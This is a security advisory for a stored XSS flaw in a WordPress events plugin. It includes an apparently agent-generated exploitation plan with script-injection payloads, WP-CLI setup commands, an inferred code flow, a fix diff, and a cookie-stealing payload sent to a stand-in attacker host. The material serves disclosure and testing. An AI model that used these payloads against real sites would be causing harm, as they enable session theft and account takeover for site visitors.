Events Listing Widget <= 1.3.4 - Authenticated (Author+) Stored Cross-Site Scripting via Event URL Field
Description
The Events Listing Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'Event URL' parameter in all versions up to, and including, 1.3.4 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Author-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.3.4Source Code
WordPress.org SVNThis research plan focuses on exploiting **CVE-2026-1252**, a Stored Cross-Site Scripting (XSS) vulnerability in the **Events Listing Widget** plugin. ### 1. Vulnerability Summary The "Events Listing Widget" plugin allows users to manage and display events. Versions up to and including 1.3.4 fail t…
Show full research plan
This research plan focuses on exploiting CVE-2026-1252, a Stored Cross-Site Scripting (XSS) vulnerability in the Events Listing Widget plugin.
1. Vulnerability Summary
The "Events Listing Widget" plugin allows users to manage and display events. Versions up to and including 1.3.4 fail to properly sanitize the Event URL parameter during storage and fail to escape it during output. An authenticated user with Author-level permissions or higher can inject malicious JavaScript into this field. When other users (including administrators) view the page where the event is listed, the script executes in their browser context.
2. Attack Vector Analysis
- Vulnerable Parameter:
Event URL(likely mapped to a post meta field). - Authentication Required: Author or higher (capability to edit/create event posts).
- Vulnerable Endpoint: Standard WordPress post/page editor or a custom plugin management page (
/wp-admin/post.phpor a custom admin menu). - Payload Type:
- URI-based:
javascript:alert(document.domain) - Attribute breakout:
" onmouseover="alert(1)" data-x="
- URI-based:
- Preconditions: The plugin must be active, and a "Events Listing" widget or shortcode must be present on a public-facing page or post.
3. Code Flow (Inferred)
- Input: An Author user submits an event update via
POST /wp-admin/post.php(or similar). - Storage: The plugin captures the
Event URLfield and saves it usingupdate_post_meta()or a direct$wpdbquery without applyingesc_url_raw()orsanitize_text_field(). - Retrieval: When a frontend page is loaded, the plugin's widget class (likely extending
WP_Widget) or shortcode handler callsget_post_meta()to retrieve the URL. - Output: The plugin echoes the URL directly into an
<a>tag'shrefattribute:
Lack ofecho '<a href="' . $event_url . '">View Event</a>'; // VULNERABLEesc_url()oresc_attr()allows for XSS.
4. Nonce Acquisition Strategy
Since this vulnerability is tied to authenticated "Author" actions within the WordPress admin dashboard, we need to handle nonces associated with post editing.
- Identification: Determine if the plugin uses a Custom Post Type (CPT) like
event. Usewp post-type listvia CLI. - Page Creation: Create a post/page and add the Events Listing widget to it so we have a frontend trigger.
wp post create --post_type=page --post_status=publish --post_title='Events Display' --post_content='[events-listing-widget]'(Exact shortcode name to be verified viagrep -r "add_shortcode")
- Nonce Extraction:
- Navigate to the Event creation/edit page in the browser using an Author account.
- Use
browser_evalto extract the standard WordPress_wpnoncefor post updates or any plugin-specific nonces found in the HTML source. - Common pattern:
document.querySelector('#_wpnonce').value.
5. Exploitation Strategy
Step 1: Discover Post Type and Meta Keys
Search the plugin directory for the field identifier:
grep -rn "Event URL" /var/www/html/wp-content/plugins/events-listing-widget/
Identify the name attribute of the input field in the admin UI (e.g., events_url or meta_event_link).
Step 2: Inject Payload
Perform an authenticated POST request to update an event.
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Payload (Attribute Breakout):
"><script>alert(document.cookie)</script> - Parameters:
action:editpostpost_ID: [The ID of the event post]_wpnonce: [Extracted nonce][vulnerable_field_name]:"><script>alert(document.domain)</script>
Step 3: Trigger Execution
Navigate to the frontend page where the widget/shortcode is rendered.
6. Test Data Setup
- User: Create an Author user.
wp user create attacker attacker@example.com --role=author --user_pass=password123
- Content: Create an "Event" if it's a CPT.
wp post create --post_type=event --post_status=publish --post_title='Malicious Event'
- Display: Place the widget on a page.
- If it's a widget, use
wp widget add. - If it's a shortcode, create a page:
wp post create --post_type=page --post_status=publish --post_content='[events_listing]'
- If it's a widget, use
7. Expected Results
- The
POSTrequest should return a302redirect, indicating the post was updated successfully. - Upon visiting the frontend page, the browser should execute the injected script (e.g., displaying an alert box).
- Inspecting the HTML source of the frontend page should show the unescaped script tag:
<a href=""><script>alert(document.domain)</script>">View Event</a>
8. Verification Steps
- Check Database: Verify the payload is stored in the
wp_postmetatable.wp db query "SELECT meta_value FROM wp_postmeta WHERE meta_key = '[vulnerable_field_name]' AND post_id = [ID]" - HTML Verification: Use
http_requestto fetch the frontend page and check for the raw payload in the response body.// In PoC agent const response = await http_request({ url: 'http://localhost:8080/events-page/' }); if (response.body.includes('<script>alert(document.domain)</script>')) { console.log("XSS Verified"); }
9. Alternative Approaches
- Action String Bypass: If the plugin uses a custom AJAX handler for saving widget data, check if
check_ajax_refereris called withdie=false. If so, the nonce can be omitted entirely. - Shortcode Attribute XSS: If the
Event URLcan be passed as an attribute to a shortcode, attempt XSS via:[events_listing url='"><script>alert(1)</script>'] - Protocol-based Payload: If attribute breakout is blocked by generic WordPress filters, use the
javascript:protocol:javascript:fetch('http://attacker.com/?c='+document.cookie)(Note: This requires the URL to be placed in anhreforsrc).
Summary
The Events Listing Widget plugin for WordPress (<= 1.3.4) is vulnerable to Stored Cross-Site Scripting due to improper sanitization and escaping of the 'Event URL' field. Authenticated attackers with Author-level permissions can inject arbitrary JavaScript that executes in the browser of any user viewing the event list.
Vulnerable Code
// Inferred from plugin logic for saving event metadata update_post_meta($post_id, 'event_url', $_POST['event_url']); --- // Inferred from plugin logic for rendering the widget or shortcode $event_url = get_post_meta($post->ID, 'event_url', true); echo '<a href="' . $event_url . '">View Event</a>';
Security Fix
@@ -1,1 +1,1 @@ -update_post_meta($post_id, 'event_url', $_POST['event_url']); +update_post_meta($post_id, 'event_url', esc_url_raw($_POST['event_url'])); @@ -1,1 +1,1 @@ -echo '<a href="' . $event_url . '">View Event</a>'; +echo '<a href="' . esc_url($event_url) . '">View Event</a>';
Exploit Outline
The exploit requires an authenticated user with at least Author-level permissions. 1. The attacker logs into the WordPress admin dashboard and navigates to the event creation or editing interface (likely a Custom Post Type). 2. The attacker inputs a malicious payload into the 'Event URL' field, such as a script tag breakout like '"><script>alert(document.domain)</script>' or a URI-based payload like 'javascript:alert(1)'. 3. The attacker saves the event, causing the payload to be stored in the database without sanitization. 4. When any user visits a public-facing page containing the 'Events Listing' widget or shortcode, the payload is rendered directly into the HTML source without escaping, triggering the JavaScript execution.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.